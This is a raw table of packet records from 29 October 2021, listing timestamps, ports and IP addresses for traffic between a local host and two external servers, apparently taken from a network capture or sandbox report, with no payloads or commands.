Oct 29, 2021 20:30:37.442847967 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:30:37.444442034 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:30:37.452956915 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.452986956 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453005075 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453018904 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453036070 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453057051 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453068972 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453080893 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453093052 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453111887 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453107119 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.453128099 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453140974 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453159094 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453166962 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.453176975 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453201056 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.453202009 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453222990 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453226089 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.453242064 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453253984 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.453257084 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.453300953 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.486063004 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486093998 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486110926 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486123085 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486140966 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486140013 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.486156940 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486177921 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.486208916 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.486232996 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486249924 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486299038 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.486459017 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486473083 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486485004 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486504078 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486581087 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.486593962 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.486660004 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486674070 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486691952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486707926 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486720085 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.486721992 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.486737967 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.486779928 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.518238068 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518259048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518275023 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518290997 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518381119 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.518390894 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518399000 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.518409014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518425941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518444061 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518460989 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518477917 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.518503904 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518513918 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.518522024 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518538952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518549919 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.518553972 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518678904 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.518826008 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518848896 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518872976 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518877029 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518908024 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.518954992 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518973112 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.518974066 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.518990040 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.519001007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.519001961 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.519032001 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.562649965 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.571131945 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571177006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571218014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571255922 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571290970 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.571295977 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571337938 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571341038 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.571387053 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571400881 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.571432114 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571470976 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571485043 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.571501970 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571542025 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571553946 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.571583033 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571625948 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571654081 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571679115 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.571693897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571718931 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.571736097 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571774006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571803093 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.571820974 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.571861982 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.604423046 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.604475021 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.604513884 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.604551077 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.604557037 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.604590893 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.604604006 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.604633093 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.604672909 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.604712963 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.604722977 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.604763985 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.604911089 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.604948044 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.604986906 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.605026007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.605038881 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.605065107 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.605078936 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.605106115 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.605154991 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.605182886 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.605201006 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.605232954 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.676368952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.676446915 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.676491022 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.676533937 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.676682949 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.676836967 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.676909924 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.676980972 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677068949 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677126884 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677141905 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.677186966 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.677189112 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677284002 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677325964 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677364111 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677385092 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.677412987 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.677417040 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677458048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677496910 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677541018 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677547932 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.677588940 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.677591085 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677634001 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677673101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677712917 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677725077 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.677758932 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.677762985 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677803040 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677843094 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677884102 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677891016 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.677926064 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.677938938 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.708926916 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.708955050 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.708966970 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.708980083 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.708997011 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.709013939 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.709028959 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.709043980 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.709081888 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.709129095 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.709131956 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.709178925 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.709191084 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.709207058 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.709227085 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.709239960 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.709259987 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.709286928 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.743815899 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.743846893 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.743864059 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.743876934 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.743891954 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.743910074 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.743926048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.743937016 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.743942022 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.743953943 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.743971109 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.743987083 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.743999004 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.744004965 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.744013071 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.744023085 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.744040012 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.744051933 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.744061947 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.744091988 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.777975082 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.777997017 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.778016090 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.778028011 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.778217077 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.828371048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.828448057 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.828468084 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.828505993 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.828557014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.828617096 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.828645945 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.828696966 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.828747034 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.828759909 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.828788996 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.828795910 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.828926086 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.828990936 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.829042912 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.829042912 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.829085112 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.829087973 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.829127073 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.829164982 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.829202890 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.829207897 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.829241991 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.829243898 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.829281092 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.829320908 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.829358101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.829364061 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.829397917 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.829397917 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:37.829437017 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.829463005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:37.829509974 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:38.868113041 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:30:38.893304110 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:30:39.124778986 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:30:39.129955053 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:30:39.130058050 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:30:39.133076906 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:30:39.158366919 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:30:39.234159946 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:30:44.620368004 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:30:44.647145987 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:30:44.647206068 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:30:44.647248983 CEST	28978	49818	93.115.20.139	192.168.2.7
Oct 29, 2021 20:30:44.647308111 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:30:44.781532049 CEST	49818	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 20:30:46.932389975 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:46.966308117 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.126317024 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.126337051 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.126353979 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.126369953 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.126422882 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.126471996 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.126496077 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.126503944 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.126514912 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.126532078 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.126547098 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.126548052 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.126563072 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.126597881 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.126627922 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.159074068 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.159128904 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.159168005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.159202099 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.159238100 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.159274101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.159307957 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.159323931 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.159342051 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.159365892 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.159373999 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.159378052 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.159395933 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.159425020 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.159461975 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.159492016 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.159495115 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.159523964 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.159555912 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.194793940 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.194864988 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.194927931 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.194988966 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.195049047 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.195110083 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.195168972 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.195214987 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.195225954 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.195229053 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.195233107 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.195239067 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.195288897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.195333958 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.195352077 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.232964993 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.233000994 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.233030081 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.233058929 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.233087063 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.233114958 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.233131886 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.233181000 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.233187914 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.236367941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.236402035 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.236429930 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.236460924 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.236483097 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.236490011 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.236511946 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:47.236522913 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.236548901 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:47.236571074 CEST	49812	80	192.168.2.7	91.219.236.97
